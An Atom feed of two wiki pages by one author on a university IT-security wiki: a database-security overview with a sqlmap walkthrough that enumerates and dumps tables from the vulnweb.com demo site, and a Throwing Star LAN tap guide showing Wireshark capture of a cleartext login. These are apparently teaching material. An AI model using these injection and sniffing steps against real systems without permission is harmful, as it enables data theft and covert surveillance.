<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=AHoefelsauer</id>
	<title>Elvis Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=AHoefelsauer"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php/Special:Contributions/AHoefelsauer"/>
	<updated>2026-09-10T16:25:30Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Database_Assessment&amp;diff=11190</id>
		<title>Database Assessment</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Database_Assessment&amp;diff=11190"/>
		<updated>2023-01-28T10:40:07Z</updated>

		<summary type="html">&lt;p&gt;AHoefelsauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This wiki page gives an overview of database assessment and security techniques. Those will also be demonstrated through a practical example tool - sqlmap.&lt;br /&gt;
&lt;br /&gt;
== Requirements for practical example ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Kali Linux 2021.3a&lt;br /&gt;
&lt;br /&gt;
== General database security ==&lt;br /&gt;
For any and all database a few key structures have to be&lt;br /&gt;
protected including:&lt;br /&gt;
&lt;br /&gt;
* The actual data itself that is stored inside the database&lt;br /&gt;
* The database managment system (DBMS) as a whole&lt;br /&gt;
* Any external applications that can be associated with the DBMS&lt;br /&gt;
* The actual physical database server and the hardware it builds upon&lt;br /&gt;
* The network infrastructure that is used to access the database&lt;br /&gt;
&lt;br /&gt;
== Classification of security threats ==&lt;br /&gt;
&lt;br /&gt;
Generally database security can be classified in 3 categories.&lt;br /&gt;
&lt;br /&gt;
* External security threats are threats that come from outside of the company/organization. Those include but are not limited to hackers, environmental causes, organized crime. Since they are external entities there is no inherent privileges or trust, that the company affords them.&lt;br /&gt;
* Internal security threats are the second threat group and typically come from inside the company/organization. In most cases those can be programmers, interns, system admins. These internal entities normally have medium to high amount of privileges and trust.&lt;br /&gt;
* The last security threat is the partner security threat. Those are any and all entities that are in a business relation with the company/organization. Information is usually exchanged between business partners so they also are afforded at least some amount of privilege and trust&lt;br /&gt;
&lt;br /&gt;
== Types of security threats ==&lt;br /&gt;
&lt;br /&gt;
Internal or also insider threats are the most common of the three and manifest themselves as either malicious exposure of data from a person on the inside that has access and/or privileges that allow access to the data or through unintentional and negligent behaviour on behalf of an employee. In the group of unintentional and negligent behaviour, general human error like sharing passwords and using weak passwords as well as genuine accidents are also quite common. To exploit or attack vulnerabilities in a system is the other big group of threats and is positioned in the external threats category. &lt;br /&gt;
&lt;br /&gt;
The following are a selection of the most commonly exploited vulnerabilities on account of them being existent in most of not all database systems:&lt;br /&gt;
&lt;br /&gt;
* SQL Injections: Through the injection of flawed or malicious SQL instructions that are packed inside the normal database queries an attacker can get access and/or even complete control of a database system. These malicious database queries normally get sent through either web applications or inserted into specifically crafted HTTP headers. SQL attacks are a database specific security threat since only databases use the Simple Query Language.&lt;br /&gt;
* Buffer overflow exploits: When a process tries to write more data than is allowed in a single block of memory some of it flows over. Inside this excess data that is stored in the following or previous memory blocks, attackers can hide malicious code.&lt;br /&gt;
* Denial of Service (DoS/DDos) attack: An attack can bombard any given server with more requests than this server can process, so the server breaks down. The effect of a DoS attack can range from slowed down response times to complete inability to use the server and shutdown of the server software.&lt;br /&gt;
* Classical Malware (Worms, Trojans, Ransomware): Those threats enter the system typically through either malicious links in emails and messages or through already infested devices that gain access to the network like laptops, usb-sticks or other hosts.&lt;br /&gt;
&lt;br /&gt;
== Securing a database ==&lt;br /&gt;
Best practices for database security:&lt;br /&gt;
* Physical Security: Meaning regardless of the databases location, as few people as possible should have physically access to it.&lt;br /&gt;
* Encryption: ALL data on the database itself and any credentials that allow access to the database should be encrypted with state-of-the-art encryption mechanisms while transporting between hosts and while beeing in the database.&lt;br /&gt;
* Application/webserver security: Any and all applications or webservers that interact with the database system should be regularly tested and continuously monitored aswell as beeing kept up-to-date on any kind of security updates.&lt;br /&gt;
* Auditing: All logins, changes or other operations either on the database itself or it’s operating system should be monitored and logged.&lt;br /&gt;
*Administrative and network access controls: The minimum number of required users should have access to the database system and their permissions and privileges should be constricted to the minimum level, that they require to still do their job and finish assignments.&lt;br /&gt;
*Database software security: All database security software should be kept up-to-date and should be updated as soon as a new patch releases.&lt;br /&gt;
*Backup security: Any kind of backup or copies of the data on the database should be treated with the same security restrictions as the actual database itself and should be encrypted at all times aswell&lt;br /&gt;
&lt;br /&gt;
== SQLmap description ==&lt;br /&gt;
&lt;br /&gt;
sqlmap is a open-source pentesting tool. It can be used for manual or automated detection and exploitation of sql-based databases. It supports exploitation for all major SQL injection methods inclunding:&lt;br /&gt;
* Error-based&lt;br /&gt;
* Union-based&lt;br /&gt;
* Time-based&lt;br /&gt;
* Boolean-based&lt;br /&gt;
* Out-of-band &lt;br /&gt;
* Stacked Queries&lt;br /&gt;
&lt;br /&gt;
It also allows the user to search for specific databases, tables inside these databases or columns inside these tables as well as ultilize a -dump command to to dump entire tables, just specific columns or singular entries per the user&#039;s request.&lt;br /&gt;
&lt;br /&gt;
Password hashes are automatically classified by format and can be cracked using dictionary attacks. Another feature is the upload and download of arbitrary files via the filesystem of the attacked database server.&lt;br /&gt;
&lt;br /&gt;
== SQLmap usage example ==&lt;br /&gt;
&lt;br /&gt;
Firstly we install sqlmap on our device/VM by using the following commands:&lt;br /&gt;
&lt;br /&gt;
 sudo apt update&lt;br /&gt;
 sudo apt upgrade&lt;br /&gt;
&lt;br /&gt;
 sudo apt-get install sqlmap&lt;br /&gt;
&lt;br /&gt;
The following command specifies the website with corresponding database in the back, that is to be tested. --dbs gives us all possible SQL injection techniques to which the database is vulnerable as well as some general information of the backend like operating system etc.&lt;br /&gt;
&lt;br /&gt;
 sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs   &lt;br /&gt;
&lt;br /&gt;
[[File:Sqlmap dbs.png]]&lt;br /&gt;
&lt;br /&gt;
After one picks a database to dig in deeper the --tables command will list all the tables currently in the specified database.&lt;br /&gt;
&lt;br /&gt;
 sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables        &lt;br /&gt;
&lt;br /&gt;
[[File:Sqlmap tables.png]]&lt;br /&gt;
&lt;br /&gt;
After one picks a table inside a vulnerable database, one can expose the columns to the corresponding table by using the --columns command.&lt;br /&gt;
&lt;br /&gt;
 sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns    &lt;br /&gt;
&lt;br /&gt;
[[File:Sqlmap columns.png]]&lt;br /&gt;
&lt;br /&gt;
As a last step by utilizing the --dump command, one can dump all entries inside a column to the console.&lt;br /&gt;
&lt;br /&gt;
 sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump&lt;br /&gt;
&lt;br /&gt;
[[File:Sqlmap dump.png]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://sqlmap.org&lt;br /&gt;
* Nedhal A. Al-Sayid and Dana Aldlaeen. Database security threats: A survey study. In 2013 5th International Conference on Computer Science and Information Technology, pages 60–64, 2013.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>AHoefelsauer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Throwing_Star_LAN_Tap&amp;diff=8934</id>
		<title>Throwing Star LAN Tap</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Throwing_Star_LAN_Tap&amp;diff=8934"/>
		<updated>2021-12-21T19:02:33Z</updated>

		<summary type="html">&lt;p&gt;AHoefelsauer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This description shows what the [https://greatscottgadgets.com/throwingstar/ Throwing Star LAN Tap] device is and how it can be used. Further information is given when the thorough explanation requires it.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
To use this device for traffic sniffing, the following things are needed:&lt;br /&gt;
* Throwing Star LAN Tap Kit (assembled) or Pro edition&lt;br /&gt;
* Wired LAN network, where the LAN sniffing device can be installed&lt;br /&gt;
* Device with RJ45 Ethernet port as monitoring device&lt;br /&gt;
* Wireshark running on the monitoring device for capturing the traffic&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
[[File:Throwingstarlantapkit1.png|thumb|500px|frame|Throwing Star LAN Tap Kit with highlighted connectors for assembling]]&lt;br /&gt;
&lt;br /&gt;
[[File:Throwingstarlantappro.jpeg|thumb|500px|frame|Throwing Star LAN Tap Pro]]&lt;br /&gt;
&lt;br /&gt;
LAN Taps are integrated in the existing network and are used to monitor the network, because all traffic/packets coming into and going out of the network can be inspected using sniffing programs such as [https://www.wireshark.org/ WireShark].&lt;br /&gt;
The Throwing Star LAN Tap is a passive Ethernet tap that needs no power for working. &lt;br /&gt;
&lt;br /&gt;
=== Device - Editions ===&lt;br /&gt;
&lt;br /&gt;
There are two editions: the Kit ([[Throwing Star LAN Tap Kit]]), which you must assemble yourself and solder to work, and the Pro Edition ([[Throwing Star LAN Tap Pro]]). The device itself is the same.&lt;br /&gt;
* The Kit is a circuit board printed as star shaped with four RJ-45 (Ethernet) connectors and two 200pF capacitors that must be placed on the board.&lt;br /&gt;
* The Pro Edition is the second option, where the electrical components are already soldered and prepared for easier usage and the device fully assembled.&lt;br /&gt;
&lt;br /&gt;
==== Assembly of the Throwing Star LAN Tap Kit ====&lt;br /&gt;
&lt;br /&gt;
To assemble the Throwing Star LAN Tap Kit, the following steps must be taken:&lt;br /&gt;
* The four modular RJ-45 connectors are inserted into the circuit board at J1 - J4.&lt;br /&gt;
* The two capacitors are inserted into the C1 and C2 slots at the J3 and J4 monitoring ports.&lt;br /&gt;
* If the assembly is done permanently, the eight leads of each connector and both leads of each capacitor must be soldered carefully.&lt;br /&gt;
* After the assembly is done, the Throwing Star LAN Tap is connected by Ethernet cables in line with the target network at J1 and J2.&lt;br /&gt;
* One or both of the monitoring ports J3 and J4 are connected with Ethernet cables to one or two monitoring devices.&lt;br /&gt;
* To capture the network traffic, a software such as WireShark or tcptump is used on the monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Step 1: Installation of the device in the LAN network ===&lt;br /&gt;
&lt;br /&gt;
The following figure shows how the LAN traffic sniffing device can be implemented into the existing LAN network. From here on out, it does not matter whether the Kit or Pro edition is used - both work the same.&lt;br /&gt;
The sniffing device, in this example, is placed between the switch and the target computer. The traffic runs through the device (ports J1 and J2). The monitoring notebook is connected to the monitoring port J4 of the Throwing Star LAN Tap Pro.&lt;br /&gt;
&lt;br /&gt;
[[File:Networkthrowingstar.png|none|100px|frame|Network, where the Throwing Star LAN Tap is installed]]&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Performing different tasks on the target computer ===&lt;br /&gt;
&lt;br /&gt;
For capturing various packets, several different kinds of programs and usages were performed on the target computer, which are listed in the following points:&lt;br /&gt;
* Browser Usage with HTTP-websites&lt;br /&gt;
* Browser Usage with HTTPS-websites&lt;br /&gt;
* VPN Connection&lt;br /&gt;
* Checking emails with Outlook in the browser&lt;br /&gt;
* Watching videos in the browser (https-websites)&lt;br /&gt;
* Printing PDFs on the connected printer in the network&lt;br /&gt;
* Listening to music with Spotify&lt;br /&gt;
&lt;br /&gt;
=== Step 3: Analyse results in Wireshark on the monitoring device ===&lt;br /&gt;
&lt;br /&gt;
==== Introduction ====&lt;br /&gt;
&lt;br /&gt;
Nowadays, every secure website uses HTTPS for communication over a computer network. It is also called HTTP over TLS, because the communication protocol is encrypted using TLS (Transport Layer Security). The packets&lt;br /&gt;
that are captured in Wireshark need to be inspected properly and in detail, because packet analysis is more complex since most internet traffic is encrypted and applications commonly use encryption based on TLS as well. Only if the HTTP-protocol is used, the information can be sniffed easier. &lt;br /&gt;
As an example, data/information that is shown in the Wireshark captures for TCP communication with HTTPS on top. These are one of the most important protocols for the mentioned use-cases described in Step 2.&lt;br /&gt;
&lt;br /&gt;
* Source IP and Destination IP&lt;br /&gt;
* Source Port and Destination Port&lt;br /&gt;
* Source MAC and Destination MAC&lt;br /&gt;
* Round Trip Time (RTT) between client and server&lt;br /&gt;
* Time to live (TTL) - which indicates the hops between client and server&lt;br /&gt;
* TCP windows and flags&lt;br /&gt;
* Sessions&lt;br /&gt;
* Packets, Data, Payload&lt;br /&gt;
* Retransmissions&lt;br /&gt;
&lt;br /&gt;
Getting this basic metadata, which actually provides information about other data, with the Throwing Star LAN Tap is really powerful, because today, data is everything. Algorithms and systems can be used to extract insights and knowledge from this unstructured and structured data. Implementing the sniffing device (Throwing Star LAN Tap Kit or Pro edition) in corporate networks provides powerful information about companies, their whereabouts, knowledge, views and a lot more. Extracting useful information from the data is very important for data mining, which can give companies competitive advantages through statistics and predictions on basis of the given data.&lt;br /&gt;
&lt;br /&gt;
==== Example Results ====&lt;br /&gt;
&lt;br /&gt;
The following figures show examples of which kind of information can be sniffed with the Throwing Star LAN Tap. The target computer has the IP-address 192.168.0.122. The screenshots are taken from the Wireshark capture of the monitoring device. The first example shows what kind of things are possible to see, if the HTTP-protocol is used. The login data can be read in cleartext, which is marked together with the host with a yellow rectangle.&lt;br /&gt;
&lt;br /&gt;
[[File:throwingstarlansniff1.png|none|200px|frame|Wireshark capture using the Throwing Star LAN Tap - Login to a HTTP-Website]]&lt;br /&gt;
&lt;br /&gt;
The second packet capture example of Wireshark in the following figure shows that a document was printed on the printer, which is available in the Local Area Network (LAN). The document name can be seen in cleartext in the Wireshark packet capture, highlighted with a yellow rectangle.&lt;br /&gt;
&lt;br /&gt;
[[File:throwingstarlansniff2.png|none|200px|frame|Wireshark capture using the Throwing Star LAN Tap Pro - Document printed on the LAN printer]]&lt;br /&gt;
&lt;br /&gt;
==== Summary of the important aspects ====&lt;br /&gt;
&lt;br /&gt;
All captured packets in Wireshark provide data like the listed points given in step 2 above for TCP with HTTPS on top. It is important to mention that the most data can be seen during connection/3-way-handshake or at the beginning&lt;br /&gt;
of a session or transaction. After the initiation process and data starts flowing, only the payload can be seen, which does not provide more than encrypted payload packets with source and destination, length/size and the used protocol. As an example, for a network administrator it is possible to use data such as Source/Destination IP, Source/Destination MAC and the protocols to easily comprehend what the devices or users in the target network are up to and with whom they are communicating. It is important to remember that nowadays several protocols in use ensure security for the packets sent over a network. Therefore, traffic sniffing by using a device such as the Throwing Star LAN Tap becomes more difficult with Wireshark, but it is still possible to see loads of information and metadata. These can be used to inspect and learn a lot about the target network and are really powerful to a network administrator&lt;br /&gt;
or for illegally obtained access to the network from a hacker. With a high number of IoT devices connected to a Local Area Network via Ethernet, the Throwing Star LAN Tap can be used very successfully by installing it in the&lt;br /&gt;
right place in the network, for example between the switch and router. If all IoT devices are directly connected to the switch, all traffic that is sent to the router can be sniffed on the monitoring port, without any of the IoT devices knowing about this. For network administrators this can be a very powerful tool to find flaws and problems or inspect the network in detail.&lt;br /&gt;
&lt;br /&gt;
== Important Take-Aways ==&lt;br /&gt;
&lt;br /&gt;
* The Throwing Star LAN Tap is a device for passive LAN traffic sniffing and is a really powerful tool for network administrators. &lt;br /&gt;
&lt;br /&gt;
* Nowadays, several protocols in use ensure security for the packets sent over a network. Traffic sniffing therefore becomes more difficult with Wireshark, but it is still possible to see loads of information and metadata. Stealing confidential data is not the primary goal nowadays. &lt;br /&gt;
&lt;br /&gt;
* Algorithms and systems can be used to extract insights and knowledge from these unstructured and structured data. Extracting useful information from this data is very important for data mining, which can give companies competitive advantages through statistics and predictions on basis of the given data.&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
[[Throwing Star LAN Tap Kit]]&lt;br /&gt;
&lt;br /&gt;
[[Throwing Star LAN Tap Pro]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://greatscottgadgets.com/throwingstar/&lt;br /&gt;
&lt;br /&gt;
* https://www.wireshark.org/&lt;br /&gt;
&lt;br /&gt;
* https://greatscottgadgets.com/throwingstar/throwing-star-instructions.pdf&lt;br /&gt;
&lt;br /&gt;
* https://github.com/greatscottgadgets/throwing-star-lan-tap&lt;br /&gt;
&lt;br /&gt;
* https://schwartzdaniel.com/5-useful-tips-for-analyzing-wireshark-packet-captures/&lt;br /&gt;
&lt;br /&gt;
* https://accedian.com/blog/how-to-decrypt-an-https-exchange-with-wireshark/&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=3zUsJm3bwGY&amp;amp;ab_channel=Hak5&lt;br /&gt;
&lt;br /&gt;
* Hessel Schut, Mark Scanlon, Jason Farina, and Nhien-An Le-Khac. Towards the Forensic Identification and Investigation of Cloud Hosted Servers through Non-Invasive Wiretaps. 08/2015&lt;br /&gt;
&lt;br /&gt;
* V. Ribeiro, A. Rocha, R. Peixoto, F. Portela, and M. F. Santos. Importance of statistics for data mining and data science. In 2017. 5th International Conference on Future Internet of Things and Cloud Workshops (FiCloudW), pages 156-163, 2017.&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AHoefelsauer</name></author>
	</entry>
</feed>